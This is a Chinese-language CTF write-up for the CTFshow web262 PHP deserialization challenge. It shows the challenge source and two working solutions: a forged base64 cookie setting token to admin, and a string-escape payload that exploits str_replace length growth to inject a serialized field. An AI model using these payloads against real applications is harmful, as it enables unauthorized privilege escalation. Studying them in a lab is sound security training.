CTFshow 反序列化 web262

目录

  • 源码
  • 思路
  • 题解
    • 解法一 直接构造类进行序列化
    • 解法二 字符逃逸
  • 总结


源码



/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-12-03 02:37:19
# @Last Modified by:   h1xa
# @Last Modified time: 2020-12-03 16:05:38
# @message.php
# @email: [email protected]
# @link: https://ctfer.com

*/


error_reporting(0);
class message{
    public $from;
    public $msg;
    public $to;
    public $token='user';
    public function __construct($f,$m,$t){
        $this->from = $f;
        $this->msg = $m;
        $this->to = $t;
    }
}

$f = $_GET['f'];
$m = $_GET['m'];
$t = $_GET['t'];

if(isset($f) && isset($m) && isset($t)){
    $msg = new message($f,$m,$t);
    $umsg = str_replace('fuck', 'loveU', serialize($msg));
    setcookie('msg',base64_encode($umsg));
    echo 'Your message has been sent';
}

highlight_file(__FILE__);




思路

看了好久,没什么思路,没有可以利用的点,应该还有其他页面,目录也扫不出来.发现,看了下其他师傅的wp,其实注释里有个小hint# @message.php,好家伙



/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-12-03 15:13:03
# @Last Modified by:   h1xa
# @Last Modified time: 2020-12-03 15:17:17
# @email: [email protected]
# @link: https://ctfer.com

*/
highlight_file(__FILE__);
include('flag.php');

class message{
    public $from;
    public $msg;
    public $to;
    public $token='user';
    public function __construct($f,$m,$t){
        $this->from = $f;
        $this->msg = $m;
        $this->to = $t;
    }
}

if(isset($_COOKIE['msg'])){
    $msg = unserialize(base64_decode($_COOKIE['msg']));
    if($msg->token=='admin'){
        echo $flag;
    }
}

大概就是在cookie中给msg传入message序列化后进行base64编码的值,只要把token值设置为admin就好了

还有个做法

$umsg = str_replace('fuck', 'loveU', serialize($msg));是一个典型的字符逃逸,短变长,可以利用它来任意构造token的值

题解

解法一 直接构造类进行序列化



class message{
    public $token='admin';
}

echo base64_encode(serialize(new message()));
Cookie:msg=Tzo3OiJtZXNzYWdlIjoxOntzOjU6InRva2VuIjtzOjU6ImFkbWluIjt9

CTFshow 反序列化 web262_第1张图片

解法二 字符逃逸

先进行本地测试来演示一下


class message{
    public $from;
    public $msg;
    public $to;
    public $token='user';
    public function __construct($f,$m,$t){
        $this->from = $f;
        $this->msg = $m;
        $this->to = $t;
    }
}

$msg = new message("1","2",'fuck');
$umsg = str_replace('fuck', 'loveU', serialize($msg));

// O:7:"message":4:{s:4:"from";s:1:"1";s:3:"msg";s:1:"2";s:2:"to";s:4:"fuck";s:5:"token";s:4:"user";}
echo serialize($msg);
// O:7:"message":4:{s:4:"from";s:1:"1";s:3:"msg";s:1:"2";s:2:"to";s:4:"loveU";s:5:"token";s:4:"user";}
echo $umsg;

我们来对比下字符替换前后序列化字符的长度,我们得知,过滤之后$to的长度还是4,但是里面有5个字符,这时候进行反序列化,实际上也只会截取4个字符,原本U后面的引号前移一位,这时候就会逃逸出一个字符U,很显然短变成长,每次转换多一个字符从fuck变为loveU,就会多逃逸一个字符
s:4:"love"U;s:5:"token";s:4:"user";}

前:
s:2:"to";s:4:"fuck";s:5:"token";s:4:"user";}
后:
s:2:"to";s:4:"loveU";s:5:"token";s:4:"user";}

这时候,如果我们想让token的只变成admin的话,我们可以让它逃逸出来,我们先在$to 传入fuck";s:5:"token";s:5:"admin";},为什么fuck后面要跟引号,原理和sql注入一样,用双引号把$to闭合了,最后用}把反序列化给闭合了,反序列化的时候就会忽略后面的字符.

还是一步一步来


class message{
    public $from;
    public $msg;
    public $to;
    public $token='user';
    public function __construct($f,$m,$t){
        $this->from = $f;
        $this->msg = $m;
        $this->to = $t;
    }
}

$msg = new message("1","2",'fuck";s:5:"token";s:5:"admin";}');
$umsg = str_replace('fuck', 'loveU', serialize($msg));

// O:7:"message":4:{s:4:"from";s:1:"1";s:3:"msg";s:1:"2";s:2:"to";s:31:"fuck";s:5:"token";s:5:"admin";}";s:5:"token";s:4:"user";}
echo serialize($msg);

// O:7:"message":4:{s:4:"from";s:1:"1";s:3:"msg";s:1:"2";s:2:"to";s:31:"loveU";s:5:"token";s:5:"admin";}";s:5:"token";s:4:"user";}
echo $umsg;

观察结果,转换前$to的值应该为s:31:"fuck";s:5:"token";s:5:"admin";}"正好31个字符,转换后会多一个字符,这时候$to的值为s:31:"loveU";s:5:"token";s:5:"admin";"后面的}逃逸出来了

前:
O:7:"message":4:{s:4:"from";s:1:"1";s:3:"msg";s:1:"2";s:2:"to";s:31:"fuck";s:5:"token";s:5:"admin";}";s:5:"token";s:4:"user";}
后:
O:7:"message":4:{s:4:"from";s:1:"1";s:3:"msg";s:1:"2";s:2:"to";s:31:"loveU";s:5:"token";s:5:"admin";}";s:5:"token";s:4:"user";}

这时候进行反序列化的时候实际接收的值应该为{s:4:"from";s:1:"1";s:3:"msg";s:1:"2";s:2:"to";s:31:"loveU";s:5:"token";s:5:"admin";"};s:5:"token";s:4:"user";}(双引号前移一位)

";s:5:"token";s:5:"admin";}的长度为27,要让它逃逸出来,要转换27次才行,我们构造一下


class message{
    public $from;
    public $msg;
    public $to;
    public $token='user';
    public function __construct($f,$m,$t){
        $this->from = $f;
        $this->msg = $m;
        $this->to = $t;
    }
}

$msg = new message("1","2",'fuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuck";s:5:"token";s:5:"admin";}');
$umsg = str_replace('fuck', 'loveU', serialize($msg));

// O:7:"message":4:{s:4:"from";s:1:"1";s:3:"msg";s:1:"2";s:2:"to";s:135:"fuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuck";s:5:"token";s:5:"admin";}";s:5:"token";s:4:"user";}
echo serialize($msg);
// O:7:"message":4:{s:4:"from";s:1:"1";s:3:"msg";s:1:"2";s:2:"to";s:135:"loveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveU";s:5:"token";s:5:"admin";}";s:5:"token";s:4:"user";}
echo urlencode(base64_encode($umsg));

转换前s:135:"fuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuck";s:5:"token";s:5:"admin";}"正好135位
转换后s:135:"loveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveU也正好135位,后面的27位字符";s:5:"token";s:5:"admin";}逃逸出来了,第一个字符"会补上去闭合$to

前:
O:7:"message":4:{s:4:"from";s:1:"1";s:3:"msg";s:1:"2";s:2:"to";s:135:"fuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuck";s:5:"token";s:5:"admin";}";s:5:"token";s:4:"user";}
后:
O:7:"message":4:{s:4:"from";s:1:"1";s:3:"msg";s:1:"2";s:2:"to";s:135:"loveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveU";s:5:"token";s:5:"admin";}";s:5:"token";s:4:"user";}

最后反序列化时接收的值到了{s:4:"from";s:1:"1";s:3:"msg";s:1:"2";s:2:"to";s:135:"loveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveU";s:5:"token";s:5:"admin";}已经结束了,用}闭合了,后面拼接的";s:5:"token";s:4:"user";}不是反序列化的格式,所以直接被忽略了,这时候通过反序列化就成功把token的值改成admin了

在index.php页面传入,带着cookie去访问message.php,拿到flag

?f=1&m=1&t=fuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuck";s:5:"token";s:5:"admin";}

总结

信息收集很重要,字符逃逸也是最近刚刚学的,正好练练手

你可能感兴趣的:(CTFshow,php,安全,开发语言)